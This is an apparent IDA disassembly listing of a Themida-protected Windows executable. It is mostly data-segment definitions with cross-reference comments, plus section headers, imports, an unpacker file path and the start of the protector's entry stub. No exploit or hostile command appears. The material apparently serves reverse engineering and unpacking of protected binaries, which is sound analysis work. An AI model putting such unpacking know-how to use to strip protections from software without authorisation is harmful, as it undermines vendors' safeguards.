dword_4D085C	dd 0			; DATA XREF: sub_409B12+112w
dword_4D0860	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4D0864	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4D0868	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4D086C	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4D0870	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4D0874	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4D0878	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4D087C	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4D0880	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4D0884	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4D0888	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4D088C	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4D0890	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4D0894	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4D0898	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4D089C	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4D08A0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4D08A4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4D08A8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4D08AC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4D08B0	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4D08B4	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4D08B8	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4D08BC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4D08C0	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4D08C4	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4D08C8	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4D08CC	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4D08D0	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4D08D4	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4D08DC	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4D08E0	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4D08E4	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4D08E8	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4D08EC	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4D08F0	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4D08F4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4D08F8	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4D08FC	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4D0900	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4D0904	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4D0908	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4D090C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4D0910	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4D0914	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4D0918	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4D091C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4D0920	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4D0924	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4D0928	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4D092C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4D0930	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4D0934	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4D0938	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4D093C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4D0940	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4D0944	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4D0948	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4D094C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4D0950	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4D0954	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4D0970	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4D0974	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4D2970	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4D2988	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4D298C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4D2990	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4D2994	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4D2998	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4D2A18	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4D2A1C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4D2A20	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4D2A28	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4D2A2C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4D2B30	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4D2C34	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4D2C38	dd 0			; DATA XREF: sub_40BACD+52w
dword_4D2C3C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4D2C40	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4D2CC0	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4D2CC4	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4D2CC8	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4D2CD0	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4D2CD4	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4D2DD8	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4D2EDC	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4D2EE0	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4D2EE4	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4D2EE8	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4D2F68	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4D2F6C	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4D2F70	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4D2F78	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4D2F7C	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4D3204	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4D3308	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4D3310	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4D3314	dd 0			; DATA XREF: sub_40BACD+429w
dword_4D3318	dd 0			; DATA XREF: sub_40BACD+436w
dword_4D331C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4D3324	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4D332C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4D3330	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4D3334	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4D353C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4D3544	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4D354C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4D3554	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4D3560	dd 0			; DATA XREF: ___:0040E4AAr
dword_4D3564	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4D356C	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4D3574	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4D3578	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4D3588	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4D3590	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4D39B8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4D3FD8	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 5Dh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_43D120o
		dd 0BEh	dup(0)
dword_4D444C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D844C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D8450	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D8458	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D8490	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D8690	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D8E90	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D9690	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D9694	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D9698	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D969C	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D96A0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D98A0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D98A8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D98AC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D98B0	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D98B4	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D98B8	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D98BC	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D98C4	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 7Fh dup(0)
dword_4D9AC4	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DFFD8	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DFFDC	dd 1Bh dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:0043D324o
		dd 65h dup(0)
dword_4E01E0	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4E023C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4E043C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4E0440	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4E049C	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4E069C	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4E06A0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4E08A0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4E0AA4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4E0AA8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4E0AAC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4E0AB0	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4E0AB4	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4E0AE8	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4E0AF0	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4E0B28	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4E0B2C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4E0B30	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4E0B44	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4E0B48	dd 2440B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4E0B50	dd 2440B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4E0B54	dd 0			; DATA XREF: sub_4261AB+36r
dword_4E0B58	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4E0B60	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4E0B68	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4E0B6C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4E0B70	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4E0B74	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4E0B7C	dd 0			; DATA XREF: sub_41C748+Aw
dword_4E0B80	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4E0B88	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4E0B8A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4E0B8E	dw 0			; DATA XREF: sub_41D081+3Br
word_4E0B90	dw 0			; DATA XREF: sub_41D081+2Er
word_4E0B92	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4E0B98	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4E0BA0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4E0BA4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4E0BA8	dd 0			; DATA XREF: sub_41F312r
dword_4E0BAC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4E0BB0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4E0BB4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4E0BBC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4E0BC0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4E0BC4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4E0BC8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4E0BCC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4E0BD0	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4E0BD4	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4E0BD8	dd 0			; DATA XREF: sub_42255C+29r
dword_4E0BDC	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4E0BE4	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4E0BF4	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4E0BFC	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4E0C00	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4E0B60o
		align 10h
		dd 3Ah dup(0)
dword_4E0D08	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4E0D0C	dd 0			; DATA XREF: sub_423590+21r
dword_4E0D10	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4E0D14	dd 0			; DATA XREF: sub_41F32D+7r
dword_4E0D18	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4E0D20	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4E0D22	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4E0D24	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4E0D40	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4E0D44	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4E0D48	dd 0			; DATA XREF: sub_4245E9+31w
dword_4E0D4C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4E0D50	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4E0D58	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4E0D60	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4E0D64	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4E0DA4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4E0DA6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4E0DA8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4E0DAA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4E0DAC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4E0DAE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4E0DB0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4E0DB2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4E0DB4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4E0DB8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4E0DF8	dw 0			; DATA XREF: sub_424A4A+46r
word_4E0DFA	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4E0DFC	dw 0			; DATA XREF: sub_424A4A+67r
word_4E0DFE	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4E0E00	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4E0E02	dw 0			; DATA XREF: sub_424A4A+55r
word_4E0E04	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4E0E06	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4E0E08	dd 0			; DATA XREF: sub_4247EC+80r
dword_4E0E0C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4E0E10	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4E0E14	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4E0E18	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4E0E1C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4E0E20	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4E0E24	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4E0E28	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4E0E2C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4E0E30	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4E0E38	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4E0E3C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4E0E40	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4E0E44	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4E0E48	dd 2441140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4E0E60	dd 400h	dup(0)		; DATA XREF: ___:off_442298o
					; ___:004422A0o
dword_4E1E60	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4E1E80	dd 2440650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4E1E84	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4E1F80	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4E1F84	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4E1F90	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4E1F9C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4E1FA0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4E20A0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4E20A1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4E21A4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4E21A8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4E21AC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4E21B0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4E21B4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4E21B8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4E21BC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4E21C0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4E21C4	dd 2440000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4E21C8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4E21CC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4E21D0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4E21D4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4E21D8	dd 2440758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4E21DC	dd 2440758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 388h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000E4000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E4000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4E4000h
		dd 53h dup(0)
dword_4E414C	dd 3ADh	dup(0)		; DATA XREF: ___:off_43FA38o
_rsrc___	ends

; Section 3. (virtual address 000E5000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E5000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E5000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E5050h, 0E5000h, 3 dup(0)
		dd 0E5079h, 0E500Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E6000)
; Virtual size			: 000DB000 ( 897024.)
; Section size in file		: 000DB000 ( 897024.)
; Offset to raw	data for section: 000E6000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E6000h
		dd 2547502Eh, 4DC14h, 56D10h, 0AB172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E6265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054192D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00544C82 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00544EF8 SIZE 00000042 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E6086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E6041
		popa
		jmp	short loc_4E6076
